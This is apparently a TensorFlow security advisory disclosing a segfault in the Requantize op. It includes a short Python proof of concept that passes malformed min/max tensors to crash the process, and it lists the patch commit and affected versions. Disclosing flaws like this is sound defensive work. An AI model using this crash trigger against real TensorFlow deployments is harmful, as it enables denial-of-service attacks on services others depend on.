TensorFlow vulnerable to segfault in `Requantize`

Impact

If Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.